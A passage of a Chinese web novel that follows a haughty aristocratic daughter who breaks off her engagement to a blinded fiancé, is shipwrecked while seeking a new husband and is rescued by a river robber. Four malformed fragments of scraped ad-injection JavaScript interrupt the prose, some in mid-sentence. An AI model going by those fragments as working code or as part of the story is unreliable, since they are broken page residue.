《匪他思春》 1. 001 婚事生变 已是荷月，天气愈发闷热。 漉漉的澄水帛被滚烫的风倏然烘干，被雕成假山模样的寒冰也溶成了一滩温水，侍女手中的长柄扇未有一刻停歇，可那日头透过篷顶层层叠叠的蜀锦，仍让斜倚在竹床上的女郎难受得很。 额上的薄汗尚有侍女紧盯着，时刻用清凉的帕子为她拭去，衣下的却不行了，鲛纱再是轻薄，黏腻在皮肉上的滋味也是难熬，女郎眸中的柔情似水，已在这一炷香的功夫里蒸干了，凌厉的目光盯得那画师提笔的手都颤了颤。 画师匆匆赶完最后几笔，滚进眼睫的汗珠子也没工夫顾及，一撂下笔杆，便躬身行礼，“辛苦崔女公子，日头毒辣，女公子可去歇息了。” “你的动作倒是比去岁快些，莫不是潦草动笔，敷衍我？”崔竹喧施施然地站起身，语气淡然，却压得画师的腰板又往下低了一寸。 “岂敢？”画师的语气愈发恭敬，“请女公子小憩片刻，待画稿一完，便呈于女公子过目。” 崔竹喧随意点了点头，没兴致在这烫得灼人皮肉的地方继续待下去，在曲柄伞的荫蔽下回了含凉院。有水车源源不断地运着凉水浇灌屋檐，加之石床玉枕，又有四名侍女在房中四角用扇将冰盆里漫溢的寒气扇到各处，食了半盏冰酪，这才觉得舒畅了许多。 无需开口，只肖阖上眼，自有识趣的丫鬟寻来上次未读完的话本子语调婉转地念下去，偏好不过片刻，便叫那些情情爱爱的故事倒尽了胃口，冷嘲一声：“闻君生两意，故去觅死生，怎不先断了那情郎的死生？” 她蹙眉摆手，丫鬟又换回了她最常听的《奇女子书》，还是永宁侯的事迹听着叫人舒心，人生一世，爱恨不抵价，唯利禄是真。 她自幼与琅琊蓝氏定亲，为的就是维持世家尊荣。 她堂堂虞阳崔氏，自然当一辈子都是世家贵女，若为个草寇折了身价，岂不是要成为整个大邺的笑话？ 传记念至尾页，那画师才再度登门，拘谨地立在入口处，由两位侍女缓缓将画轴展开。 无穷碧叶，映日荷花，却有一女子螓首蛾眉，巧笑倩兮，笔触之细腻，画工之精妙，任谁来都得赞一句“芙蓉不及美人妆”，那画师却悄悄地打量着她的神色，小心地开口：“驽笔拙工，勉强绘出女公子十之一二的容色，万望女公子海涵。” “蓝公子去年夏日时作得一首芙蓉诗，才惊四座，今日将这幅芙蓉美人图送去，他定然心生欢喜。”贴身婢女金缕被这画迷得挪不开眼，连连夸赞着，崔竹喧却仍是神情恹恹。 “写什么不好，非要写长在池子里的荷花，搅得我在烈日底下晒了许久。” 虽那时有蜀锦铺的凉棚，冰块、却扇一样不少，可毕竟幕天席地，哪有她这花了几千两银子，特意叫能工巧匠比着前朝含凉殿建造出的含凉院舒服，说到底，还是那人不懂事，若写个月季、芍药，直接将花整盆端进来画，她何需受这份苦？ “画得尚可，下去领赏吧。” 画师顿时松了一口气，欢天喜地地迈步出去，剩余的侍女小心地将画轴卷起，金缕问道：“女公子，那现在就差人将画送到琅琊去？” 崔竹喧颔首的动作一顿，忽而凝眉，“今日已是六月二十了，琅琊那头的画呢？还没送到？” “许是路上耽搁了？” “自琅琊到虞阳，骑快马需一个半月，走水路乘船仅要一月，他蓝青溪二月的生辰，便是派来送画的人马被山匪劫了两遭，再遣人来，也该到了！”崔竹喧面色不虞，连带着瞧那画轴都都不顺眼起来，“我崔氏同他蓝氏同为世家大族，十月便是婚期，他竟敢如此怠慢于我？莫不是欺我崔氏无人？” 崔竹喧当即甩袖而出，引得一众婢女提裙追去，“叔父呢？将他请来正厅，蓝氏这般无礼，我们岂能善罢甘休？” 长廊行至过半，迎面撞上来个小厮，观其要去的方向，也是正厅，却在望见她的刹那慌了神，崔竹喧沉声问：“出何事了？” 小厮犹豫了片刻，支支吾吾地开口：“蓝氏那个、瞎、瞎了。” “蓝青溪？” 小厮苦着一张脸点头，“蓝氏在琅琊便寻名医不得，就开始往各郡请医，咱们郡那个祖上效力于清宁县主的女医蔡玟玉也去了，这才探到的消息。” 崔竹喧神色更冷了一分，转道往西苑去，一脚将门踹开。 她自七岁那年同蓝青溪订亲，逢节旦日便要与那头交换贺礼，天长日久的，那些个金玉摆件、古玩字画多得数不胜数，索性专门腾了个院子放着。两地相隔甚远，未免成亲时认不出对方，每岁的生辰都要请画师作画一幅送过去，那头也同样要送过来。 只是今年的久久未至，壁上从左往右数过去便只有十幅。 画中人总穿着一身青色袍衫，墨发用白玉簪束起，或于亭中赏雪，或于院内读书，眉眼间尽是温和的笑意，怎么瞧都是一副上佳的皮相。 因而，崔竹喧向来是很满意这个未婚夫婿的，家世、容貌都与自己堪匹配，这么多年又从未有过恶名，偏生现在——她提笔蘸墨，走到最新的那幅画前，将画上郎君的双眸涂去，画卷顿时黯然。 她嗤笑一声，墨笔摔在地上。 “把信物和庚帖送回去，我要退婚！” 她这辈子都不可能屈就自己，与一个瞎子成亲，受人耻笑！ “啊？”金缕惊呼一声，忙捂住自己不懂事的嘴，试探着劝阻，“这么大的事，要不要先跟老爷商议一下？” “商议？叔父还能摁头让我嫁给一个瞎子不成？” * 原是当值时间，可崔竹喧差人来叫，崔和豫安敢不归？顶着午间的烈日气喘吁吁地往家赶，在路过那静得出奇的长廊时，便知今日不好收场了，迈入门槛，见着被撕了满地的画像，心头 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 一跳，脚步都变得清浅起来。 只在心底暗暗祈祷，既然朝画像发过火了，就不要再拿他出气了吧？ “这是谁这么不长眼，惹了我家簌簌不高兴啊？”他踮着脚尖，小心地避让过那些碎纸，眼神瞟过，是蓝氏惯用的凝光纸，脑子里顿时有了思路，“是不是蓝氏那小子做错事了？他送的生辰礼不合你心意？” “我要退婚。” 许是先前发泄过一通了，崔竹喧的态度平缓地下达通知，全然不顾崔和豫同姗姗来迟的崔淮卿惊得目瞪口呆，崔和豫默了许久，才讷讷地出声：“这、这不好吧？毕竟是你爹娘订下的婚事，他又素有才名，偶尔做得不够体贴，也、也不行！我让淮卿上门去训斥他一番，你看如何？” “自然要上门去讨个说法，”她眉心紧蹙，提到此事就忍不住气血上涌，“蓝青溪成了个瞎子，蓝氏那边竟然还试图隐瞒，秘而不宣，他自去年十月便称病不出，想来是那时便出了事，竟生生诓骗了我九个月？他们莫不是想一直瞒下去，把我绑死在那个废人身上！” 崔和豫斟酌着开口：“瞎了？可还能治好？” 崔竹喧立时一个眼刀剜过去，“治好了便能保证不复发吗？他们今日敢瞒我，明日就敢欺我，后日便能辱我，没准儿哪日就会对我下杀手，如何能嫁？” “婚我已经退了，信物和庚帖皆已送还，此事不必再议。”她转而看向崔淮卿，“堂兄，你要去蓝氏为我讨个公道来！” 后者讪笑着点头，把腰间的折扇展开轻轻地为她扇风，“是是是，我把那些杂事都推了，明日就带人过去，叫他们知道，我们簌簌不是好欺负的。那个姓蓝的，我再亲自打他一顿，好不好？” “不好！”崔竹喧不满地望过来，“要让他过来登门谢罪！” “呃，这个，他不是瞎了嘛，不良于行，”崔淮卿面色发苦，“不然罚他再写几卷自省书？” “他是瞎了，又不是死了，走不了路就叫人背过来，下不了床就让人抬过来，不把我崔氏放在眼里，我又何必顾及他蓝氏的体面？” 崔淮卿咬着牙，挣扎了片刻，没来得及点头，手里的扇子便叫女郎抽了过去，带着怒气砸回来，“你不帮我？” “没有！绝对没有！你是我唯一的好妹妹，我不帮你帮谁？”他竖起三根手指，一幅对天发誓的态度，“我那是在想，这厮太过可恨，我打他的时候要先用左手还是先用右手。” 崔竹喧狐疑地扫过来，对上他分外诚恳的表情，这才满意地收回目光，坐到位置上，浅饮了一口茶水。 站着的二人面面相觑，总算是松了口气，腾出空来擦了擦额上的急汗，却猛然听得她开始下一项议程。 “我要相看些青年才俊。” “也好，也好，等天气好些，我办个赏秋宴，届时好生挑挑。” “不，从明天开始。” 2. 002 相看郎君 虞阳崔氏自来便是名门望族，加之当年扶持成帝上位，靠着从龙之功，更进一步，放眼整个大邺，除琅琊蓝氏外，再无世家可与之相抗。这般富贵门庭忽而起了兴致办芙蓉宴，哪怕是昨日递帖子，今日便开席，着实不合规矩，也有大把大把的人挤破脑袋上门。 更何况，来崔府赴宴，实在够吹嘘好一阵的。 谁家都能种上一片的藕花自不必说，丝弦管乐往乐坊里请人便是，至于瓜果点心、美酒佳肴，在座的也没有穷得揭不开锅的那种人，都是吃惯了，偏偏，他们这些个赴宴人凑在一起，也舍不得用巨冰琢成假山，每隔十几步便放上一座，这六月的天，别说热了，甚至要再添件披风保暖，才不至于冻得浑身哆嗦。 高门惊叹一声美轮美奂的雕工，小户则在心里头暗暗掐算这些个冰山得花多少金饼。 总归席间觥筹交错，相谈甚欢，没人能挑出一个毛病来。 直到，崔和豫砸下一记惊雷，崔氏女退婚了。 崔和豫只有一子，这个崔氏女指的是他的兄长、崔氏上一任家主崔和修之女崔竹喧，崔和修夫妇当年在赴樊川赈灾时不幸染了疫病而亡，留下一孤女自幼养在他膝下，自然是万般疼爱，千依百顺，偌大虞阳无人不知。 若只是言语间冒犯了崔和豫，那上门道个歉，这事儿就算过了，可若是得罪了这崔氏女，还是连夜收拾东西，逃出虞阳得好。 但也少有不长眼的东西在外头乱说，毕竟虞阳的郎君，谁不曾暗地里肖想一番，走运得崔氏女青眼，从此仕途畅通、金银无数。只是遗憾，人家早早便订了亲，轮不到他们这些个歪瓜裂枣，可今日不同，崔氏女退婚了，他们不就有机会了？ 想通这一关窍，立时有个锦衣公子站起身来，自忖着自身才貌尚可，竟敢端着杯盏向崔和豫敬酒，“今日既是为崔女公子选婿，不若请她至宴中，奏曲一首，也好看看，哪家的儿郎有幸，能与女公子琴瑟和鸣。” 崔和豫上一秒还春风和煦的脸，立时阴沉下来，怒斥一声：“你算是什么东西，让我崔氏贵女为你抚琴？” “大人误会，我不是这个意思，我是……” 辩解的话未说完，便被两个壮汉捂住口鼻，匆匆拉出宴席，只是热络的氛围也被一并带走，满座寂然，束手束脚地坐得笔直，等了好一会儿，才等来崔和豫冷淡的声音。 “若有意为我崔门婿者，十日内可将姓名、籍贯、生辰八字、家中情况一应写清楚，附上画像，差人送到门房，若有能过眼的，我自会再下请帖。” 因这一出，虞阳善丹青者，十日未得一个好觉。 “张画工，不是说好来我家画像的吗？” “人家出了双倍的价，那我还能不挣银子不成？” “他、他双倍，那我四倍！”话罢，便支使奴仆将画工往马车里塞，走时还要贼眉鼠眼地四下张望一番，生怕半路杀出新的程咬金，把这好不容易寻到的画工又抢走。 果不其然，这厢刚走，便有另一家来堵门，只可惜来迟一步，扑了个空。 画工门前热闹，崔府门房那更是络绎不绝，各家奴仆又是塞银子、又是递茶叶的，就求守门那老头收捡东西时，悄悄把他们家的画给挪上面些，石老头那叫一个来者不拒，一箱子装画，一箱子装贿赂，嘴角咧至耳根，就没舍得放下来过。 总归位置怎么摆都不影响画卷被丢进后厨引火的结局，毕竟崔门婿，可不是一般人能当的。 剔除去出身低微、年岁过大、传有恶名的，每日剩下的画卷仍有数十幅，即使如此，也难入崔竹喧的眼。 “这个，虞阳的大夫就没有没为他出诊过的，想来也是个迎风咳血的病秧子，见他，岂不晦气？” “这个，说是自幼便拜师大儒，研习诗文，何以弱冠之年仍未有才名？”崔竹喧瞥过夹在画卷里的诗稿，满篇尽提些想啊、念啊的字眼，冷嘲一声，“吟酸诗的小白脸。” 她继续往后看，好不容易画卷上的人丰神俊朗，勉强过眼，又是个昭武副尉，能够上个年少有为的尾巴，可呈上来的那卷手书，只能说她崔府随意提溜出一个下人来写，都比之工整数倍。 “不通文墨的莽夫！” 画卷被翻得见了底，上门探口风的冰人也一个个灰溜溜地撤了出去，剩下最后一个紧捏着帕子，许是舍不得那头许诺的泼天富贵，硬着头皮将画轴展开，开始吹嘘。 “段家这位，绝对是虞阳郡一等一的好儿郎，行伍出身，不过二十三岁就做到了游击将军，仕途明亮，人也生得周正，孔武有力，绝不是旁的歪瓜裂枣能比的！” “当真？” “当真！” 冰人信誓旦旦地保证着，竖着手指对天发誓，就差当场撞柱以表诚心，于是崔竹喧勉强点头，容她去把这最后一位绝顶好儿郎叫过来瞧瞧。 * “我的段郎君哦，你怎么穿着这身就来了？” 冰人在崔府门前左等右等，人都要被这日头烤化了，终于等来了策马而来的段煜白，可定睛望见他那身灰褐色袍衫，头上还不知从哪棵树上掰了截树枝做发簪，腰间又挎了把长剑，说难听些，这和那些个不务正业、整日在街上游荡的游侠有何区别？冰人顿时两眼一抹黑，恨不得将这人再赶回去，“你今日可是来相看的，这副模样，人家女公子怎么瞧得上啊？” 段煜白翻身下马，随手将马鞭抛给门前的小厮，无甚所谓地跨进大门，“瞧不上便瞧不上，我又不是非攀这崔家的高门不可，再说，我平素就是如此，装得了今日，还能装一辈子不成？” 冰人拎着衣裙追上去，拧着眉想要嘱咐几句，可对上边上那张油盐不进的脸，就忍不住长吁短叹，“崔女公子不论是家世、样貌都是顶了天的，这你都不肯，难不成还想尚公主 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不成？” “名声这东西都是吹出来的，你听过哪家的贵女传出恶名了？”他眸中闪过些许不耐，“不必多言，我只是被家里人压着过来走走过场罢了，我若要娶妻，才不看这些虚名，只要合心意的。” 冰人手中的锦帕几乎要被绞烂了，自己磨破嘴皮子才求来的机会，怎么就摊上这么一头倔驴，泼天的富贵就这样失之交臂，满脸郁色，悲痛万分地将人领到了厅前。 “崔女公子，我将人送到了。” 崔竹喧搁下手中的酥山，用帕子小心地擦净唇角，这才抬眸望向屏风外那道高挑的影子，□□尺高，不胖不瘦，瞧这身形，那冰人说的话倒有几分可信，而后便见那影子恭恭敬敬揖了一礼。 “段煜白见过崔女公子。” 声音有些冷淡，大概生来就这副性子？但不算难听，话少也好，免得成日里叽叽喳喳，吵得跟树上的野蝉似的。 截至目前，崔竹喧对他观感尚可，于是抬手，横亘在中间的楠木雕花海棠刺绣屏风便被撤下，双方露出真容。 段煜白敷衍的神色立时凝住，眼睛一眨不眨地望过去，女郎一身石榴色的鲛纱，云鬓高挽，发间的流苏轻轻摇晃，额间的花钿栩栩如生，一点斜红更衬得她明眸皓齿、姝色斐然，他下意识喉头一滚，正要说些什么，便见女郎眉目间顷刻染了薄怒，带着嗔意开口。 “衣品低劣，举止粗俗。” 段煜白顺着她的目光，摸了下发间简陋的树枝，又去慌忙把衣摆理顺些，可入手的布料亦是粗糙至极，如何上得台面？ “我、我是刚从校场回来，平常不是这样的，你、不是、崔女公子别生气，你听我解释……” “连官话都说不顺溜，就这还敢登我崔府的门，一并赶出去！” 半柱香后，崔府的大门“砰”地合上，留下段煜白和冰人站在檐下面面相觑，哦，还有一匹大黑马，绕着门前的树兜了一圈，打了个响亮的喷嚏。 “张二娘子，都说您是整个虞阳郡最好的冰人不是？”段煜白低眉顺眼的，全然没了先前桀骜的神色，扯下自己的荷包，整袋往冰人手里塞，“您能不能想办法，替我说说情，让我再进崔府一趟？” 冰人掂了掂钱袋子，鼓鼓囊囊的，里头少说有三四块银铤，抬眸望过去，皮笑肉不笑地开口：“段郎君不是不欲攀崔门吗？何必管崔女公子有没有看上？” “先前是我狂妄了，不知礼数，冲撞了张二娘子，还请您大人有大量，谅我是个粗人，别同我计较。” “不看虚名，只要合心意的？” 段煜白尴尬地笑笑，喏喏应声，“崔女公子最是合我心意。” “装得了一时，装不了一辈子？” “我从此刻起，便洗心革面，重新做人！” 冰人朝他翻了个大大的白眼，将钱袋砸回去，冷哼一声：“回家洗洗睡吧！” 3. 003 船只倾覆 崔竹喧紧靠着椅背而坐，长柄扇一上一下地摇晃着，送来徐徐清风，却压不下她半分火气，连小桌上甜腻腻的酥山都没心思吃了。 “偌大虞阳，竟连个能看的郎君都没有！” 金缕眼尖，将那半盏酥山换成了荔枝膏水，声音轻柔地安抚着，“若随意拎出一个郎君，便能与蓝氏那位相提并论，女公子当初又怎会和他订亲？” 此话倒是不假。 她虽未见过蓝青溪，可那人打小便有神童之名，什么七岁写诗、八岁作赋的，称之为端方公子的典范也不算过。虽说世家之间，在这方面多有捏造，但即使如此，能在一帮子的相互吹嘘中脱颖而出，足见其有几分真才实学。更别提其显赫的出身，只有皇室能压他一头，可她好端端一个贵女，凭什么要进皇城，同别人在一个院里为点蝇头小利争个你死我活？ “不然，咱们再把画卷拿回来重新选一遍，十成十的好找不到，七八分的总能有一大把。”金缕提议道。 崔竹喧倏然蹙了眉，声音清冷，“大邺十八郡，总不见得只有他蓝青溪一个配称如意郎君。” 金缕有些讶然，“女公子是想去其他郡择婿？可是老爷日前去了京都，一时半会怕是联系不上。” 地方官员三年一次朝觐考核，按常理而言，只需十月动身进京即可，却不知崔和豫收到了什么消息，连替她掌看夫婿都顾不及，匆匆收捡了行李出门，只嘱托她先挑着，等他回来再行定夺。 不论事情大小，他既然进了京，势必要等到考核结束也就是过了正旦才归，等返回虞阳都明年三月了，届时再去慢吞吞地相看，一来二去，又得一年光景。若那蓝青溪先她一步成婚，在众人面前琴瑟和鸣的，她岂不是会沦为旁人茶余饭后的谈资？ 走到哪，都要冒出个不甚熟络的人，假惺惺地关怀一二，实则挖苦她当初势利退婚之举，背地里指不定怎么编排她悔不当初、每日以泪洗面呢。 思及此处，更觉拖延不得，索性她先挑上一堆合适人选，等崔和豫回来敲定，明年生辰前拜堂成亲，她便仍是挑不出半分错处的贵女，退婚也只是无伤大雅的小事，实在有蜚语流言，那也是朝着蓝青溪那个瞎子去，落不到她头上。 “叫人备船，我要亲往十八郡。” 金缕有些犹疑地开口：“女公子还未出过远门呢，不若再等等，等公子回来，与您一道去？” 崔竹喧扬眉，嗤笑一声。 “不必，普天之下，还有敢与我崔氏过不去的人不成？” * 白水拍岸，浪打船舷，湍急的水流比马蹄踏出的动静要大得多，迎面的风将船帆吹得鼓胀，夹岸的青山接连后撤，若抛去这船身的颠簸动荡不谈，在这甲板上，融于红日绿江的上佳景致，倒不失为一个散心的好去处。 “那船家好生黑心，推说什么时值汛期，要了咱们三倍的价才肯开船！”金缕忿忿不平地骂道，“哪来的什么汛期，这都出来七八日了，雨星子都未见着一点，就是坐地起价，宰咱们呢！” “匆匆忙忙出来，被索了高价也难免，我看坐船还有几分趣味，等此番回去，叫叔父给我去订一艘，免得下回出门还得赁船。” 崔竹喧立于船舷处，望着跃水而出的游鱼很是新奇，饶是被晃得有些头晕，也舍不得回船舱躺下，只是在口中含了些酸梅压着，将每一尾鱼瞧个仔细。 “这儿的鱼倒是比府里的活泼许多，荷塘里那些鲤鱼，一条条笨得很，整日只知道张嘴吞鱼食，每月总有些活生生把自己撑死的。” “家鱼自是比不得野鱼机灵，”金缕扶着船舷，踮脚往下瞧了两眼，“好像还挺肥的，不如唤人捞几尾上来，用姜片垫底清蒸一番，味道定然鲜美！” 崔竹喧闻言来了些兴致，她整日里净吃些酥山、冰酪的，每次正餐不过夹上两筷子意思意思，许久没吃正经菜式，一下被丫鬟引出了馋虫，望向游鱼的目光微闪，开始思虑起一会儿从哪下筷子比较好。 “那你吩咐下去，多捞些，给大家加道菜。” 金缕欣喜地应声，提着裙摆往后头喊人去了。 崔竹喧则慢慢悠悠地沿着船舷一路走过去，指尖在结实的木板上轻点，眼神则跟着浪花翻来滚去，这条清蒸、这条红烧、这条水煮、这条糖醋……忽而又有些懊恼地蹙起眉，早先没想到这些，带的厨子最擅做冰饮，也不知他做鱼的手艺如何，实在失策。 正出神地盘算着，船帆却不知何时转了向，整个船身倏然而变，她脚下一崴，小臂“砰”的一声砸上船舷，来不及呼痛，指尖连忙攥住木头，船舷上因常年风吹日晒而生出的木刺如长了眼般，精准地扎进了她指甲的缝隙间，嫣红的血珠立即冒出来，滚在朽木上，跌进江水中，宛如一颗颗珊瑚珠。 她疼得几乎要渗出泪来，咬牙切齿的，欲问责一番这些胡乱开船的船工，却听得那些汉子急切的叫喊声：“风变了！前头有暴雨，快转向！” 精壮的船工飞快地奔去拉扯粗粝的麻绳，可风比他们更强，雨比他们更快，瓢泼的雨顷刻间将人浇个透彻，呼啸的风一扬，船帆便连累整艘船冲进乌云黑水间，风声、雨声、叫喊声交杂在一块，每一种都刺耳得很，每一种也听不真切。 她竭力攀着船舷，一步步往回挪去，之前嫌弃窄小得无处可逛的甲板，眼下却大得惊人，在灰蒙蒙中，船舱里的那点灯火跟着巨浪摇来晃去，她好像靠近了些，又好像离得更远，分不清，辨不明，只是踉踉跄跄，在这陡然惊现的风暴中求生。 “女公子！女公子等我，我这就来救您！” 星星灯火旁冒出个纤弱的身影，死死地抱着门框，这才不至于被风刮了去，却还试图往这骤雨里再闯进些。 她往前迈出一步，手掌顺着船舷小心地移过去，确保没有脱手的可能，一步又一步，眼看着就要搭上那 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 只朝她伸来的手，猛然一声巨响，不是惊雷，胜似惊雷，整艘船都被惊了一颤，船身立时下沉了几寸，犹如一架危险巨大的秋千，被推来拽去，把上头的人和物尽数抖落。 “触礁了！船身漏水了！” 可这些已与她无甚干系了，她不在船上，而是被掀落出去。 雨水和江水说不出哪个更寒凉，哪个更刺骨，她只能凭本能去攀附住同样被甩进水里的浮木，意识的最后，是金缕仓惶的尖叫。 “女公子！！！” 急风骤雨难长久，不过几刻钟，便云销雨霁。 天空被冲洗至澄澈透明，翻涌的浪潮也隐于水面之下，全然没了先前那副恶劣的模样，若非岸边尽是死里逃生的狼狈人，谁敢信这般青山绿水间的杀机重重。 尚能活动的人将力竭者拖得离水远些，挨个按压施救，金缕不通水性，恰在此之列，呕出一腹的苦水，剧烈地咳嗽者，整张脸涨得通红，好容易平复些，慌忙去拽边上人的衣角，“女公子呢？” “没、没见着……” 她爬起身，踉跄地挤进每个有人的角落，带着哭腔喊着：“女公子！女公子您在哪啊？” “不要吓金缕啊！” “女公子！” * 墨色的云迅疾南下，带着湍急的水流，沿江席卷而去，一路不知祸害多少船只，箱、橱、柜、匣，又或看不出原形的朽烂木片，兼之各色的布料搅弄到一起，如同一个巨大的泔水桶，汇集了各种各样的垃圾。 而这些垃圾之中，夹杂着几个人。 “艹他大爷的，被阴了波大的！”络腮胡的男人拥挤地缩在一叶小舟里，束手束脚，却束不住他一张嘴骂骂咧咧，“这可是上个月才抢到的新船！” 边上的瘦长条安慰道：“咱不是也把他们搞沉了吗？” 络腮胡咬牙切齿：“他们开的破烂，哪能跟我的比？” 矮个子点头附和着：“就是、就是！” 三人正欲再说些什么，却被兜头砸下一团湿哒哒的布，险些被那腥潮味儿熏晕过去，好不容易扒拉下来，就见另一只小船上凌厉的眉目。 “非得我看着，你们才晓得做活是不？” 三人登时将头摇得如拨浪鼓一般，左右左右，甭提有多齐整。 “水上漂着这么多值钱的物什，还不快去捞上来？本来就赔了一艘船，再个个同你们这般偷懒耍滑，回去都要没米下锅了！” “怎么的？等着我把你们挨个片了，下酒吃？”说着，他拇指轻挑，腰侧的横刀便出鞘一线，露出森寒的光来，当即催得他们下饺子似的跳进水里，追逐着浮物而去。 持刀人冷嗤一声，在金银珠宝中搜寻最值钱的那个，目光却倏然顿住。 墨云黑水间，天地皆黯然，入目皆是灰茫，唯有一处靡艳的红色—— 那是个，比洛水神女还要貌美的姑娘。 4. 004 流落樊川 “诶，听说没？”瘦子悄悄用手肘撞了下旁边人，挤眉弄眼地伸长脖子，恨不得一张嘴能同面团一般拉长，直接贴到人的耳朵上，“老大这回没捞着金子，直接捞了个人回来。” 边上人撇撇嘴，不甚在意，“往日又不是没捞过人，弄醒了索一笔救命钱，不也是挣？” 瘦子轻蔑地瞥过去一眼，提了提裤腰带，那架势别提有多神气，“你个不开窍的，往日怎么捞人你又不是不知道，顺手拎起来往船上一扔就是，是死是活全看命，还能耽误挣大钱不成？” “至于这个，可不一般！”瘦子两颗眼珠子骨碌碌地转上一圈，四周人收网的、点财的、刷船的，个个都忙着，确保这闲话不会传扬出去，这才压低声音，神神秘秘地开口，“老大自把她捞上来起，那就没撒过手，生怕人磕着碰着，连他那条小船都支使着四炉子帮忙划回来，放在以前，他哪许旁人踩他的船啊？” 那人倒吸一口凉气，认同地点头，“那咱是不是要添个压寨夫人啊？” 他忽而低下头，往自己的怀里翻来摸去，掏出几粒碎银子，面色有些为难，“糟了，我日前拖人给我买好酒去了，剩下这三瓜俩枣的，怕是贺礼都凑不齐——要不咱勤快点，再下趟水？” 瘦子闻言一想，也是，确实得准备准备，当即跟着他又往水边去，只是鞋底子刚跨过船舷呢，后脑勺就砸过来一条两斤重的草鱼，头晕目眩的，险些一头栽进沙土里。 “你们两个寻死就直说，把家当都提前分了，直接闷水里算了，别又赔出去一条船！” “老大，你这说的哪的话啊？”二人缩头缩脑地挤在一块，苦着脸解释着，“我们就是、就是勤快，想再挣点。” 后头人冷笑一声，“勤快着见阎王呢？云都没散呢，就敢下水，等着我埋两根鱼刺给你们立坟嘛？” 见二人彻底唯唯诺诺地认错了，后头人的脸色稍霁，支使道：“把鱼炖了，我记得厨房还有块豆腐留着，一起放里头，看着火候，打两个荷包蛋进去，好了就端我屋里来。” “好嘞、好嘞！” 那人微微颔首，可盯着这俩人，左边一个没头脑，右边一个不高兴，到底放不下心，又嘱咐一句，“这锅不许偷吃啊！” 两人自是诚恳应声，就冲着他们方才聊那秘事，用脚后跟想，也当知道这是给谁做的，捧起鱼就往后厨奔，那兴冲冲的模样，更显得贼眉鼠眼，也罢，毕竟干得也不是什么正经营生。 他揉了揉脑袋，大步回自己院里，就见着一个七八岁的丫头两手端着药碗小心翼翼地走着，走了好半天，还没他一步的距离远，照她这个走法，送进房里，天都要黑了。他索性夺过药碗，将人打发出去。 “晚上还有暴雨，叫大家收拾得差不多就进屋呆着，别在外头闲逛，尤其是别偷摸着下水。” 小丫头甜甜地应了声，蹦蹦跳跳地出去了。 他则是撩开门帘，轻声进了屋。 竹床上的人还未醒，艳色的衣摆皱巴在了一起，青丝凌乱地垂下来，衬得她的脸色愈发白，连唇瓣都露不出一点血色，极娇弱可怜的模样，难道发热了？ 他放下药碗，拧着眉去探她的额头，指节尚未触及，那人却倏然睁开眼，猛得一推，而后翻身骑在他腰上，用一根金簪紧紧地抵住他颈侧，目光狠戾，凶得很。 他并不抵抗，哪怕刚刚那下，骨头和地面撞得生疼，也只是闷哼一声，两手摊开，以显示自己的无攻击性，目光轻飘飘地回望过去，若有若无地打量着。 那双眸子亮得逼人，先前还只是一副好看的皮囊，如今却是鲜活起来，青丝自她的发髻垂到他的脸侧，细细的、软软的，带起一点轻微的痒意，他忍不住想蹭蹭，可指尖稍动，那尖锐的簪子又逼近一分，陷入皮肉，他便只能忍着。 只是目光却舍不得收回去，就这般黏着她，微微上翘起唇角。 他本意是想示好的，谁知这姑娘竟领会成了挑衅，气恼至极，恶声恶气地开始逼问：“说，谁派你来的？” 他眉头轻挑，听着是个仇家众多的姑娘。 还不待他回答，那清冷的声音又继续道：“是不是蓝氏？果然是一丘之貉，枉我同他们交好数年，做事竟如此狠辣！他们给了你多少赏金？要你灭口还是活捉？” “嗯，你想如何？” “不管他们出多少，我给你双倍，替我杀了蓝青溪！” 他又不是杀手，哪能揽下这活儿？ 他正欲拒绝，门帘被再度掀开，探进一个消瘦的脑袋，“老大，你是跟我们一起吃，还是、是……” 瘦子原本眯成一条缝的眼睛大睁开来，被这女上男下的姿势惊得迟滞一瞬，慌忙拉拢帘子，“我绝对不会往外说的！” 布帘子一摇一晃的，带着底下的零散的小贝壳碰来撞去，姑娘的目光挪回来，带上了分羞恼的意味，他眼尖，瞧见了她染上绯色的耳根，眸中不禁划过一丝笑意。 “某是好人，可否让让？” “空口白牙，有何凭证？” 他轻叹了一口气，颇有些无奈，攥住她的手腕一翻，电光石火间，她只觉身上一轻，人已被他打横抱起，放在那张竹床上坐下，至于那根金簪，则在他犹豫片刻后，小心地簪回了她的发间。 “某是这处的渔民，捕鱼时看见你漂在水上，所以救了回来，并无坏心，”他并不讲究，随手扯了把小小的板凳曲腿坐下，倒显得比她还矮上半分，“你的衣裳首饰某都未曾动过，你可以检查一下。” 崔竹喧闻言，低眉去翻拣自己的衣裙，只边缘处被勾破了几道口子，再看系带，确是她一贯的绑法，这才稍稍放下心，只仍是用审视的目光追问着：“那方才那人唤你为老大，何意？” “……是这样，某捕鱼的本领不错，常领着周边的兄弟们下水，一句戏称，不必在意。”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 崔竹喧低垂下眼睫，不知对这番说辞信了几分。 “这是哪？” “白原洲。” 她在脑中思索一番，确定这是个从未听过的地名，蹙起眉，“说清楚点。” “汾桡县外松荆河上白原洲，”他瞧见她仍是一脸茫然之色，补充道，“属樊川郡。” 她心头咯噔一下，呆呆地坐着。 怎、怎会到了樊川呢？ 即便她未出过远门，可大邺有哪些郡她还是知晓的，樊川距虞阳何止百里之遥，她先前乘船，也只是朝相邻的汾阳而去，却不想，遭了一场暴雨，便沦落到了樊川。 叔父远赴京都，堂兄又去了琅琊，家中无人主事，谁知道她不见了？若金缕有幸生还，是同自己这般，飘零异乡，还是与崔家的侍从一道？就算金缕安然无恙地回了崔府，一个婢女又如何支使得动崔氏上下前来救她？ 便是等来了堂兄，他们多半也只会在汾阳周边寻觅，如何能想到她孤身到了樊川？ 她不禁鼻头一酸，只是尚有外人在此，未免叫人看轻，强忍着不落下泪来。 “能否送我去镇上？”她身上并未带银两，只好将发间的金簪又拔了下来，只是这回并非作为武器，而是当作财物，递到他面前。 那人定定地看了她一眼，并未接过，“不能。” “为什么？”崔竹喧咬牙问道，拽过他的右手，将金簪强塞进他的手心，“你若嫌钱少，可以此为凭证，来日我顺利归家，必会以重金相酬。” 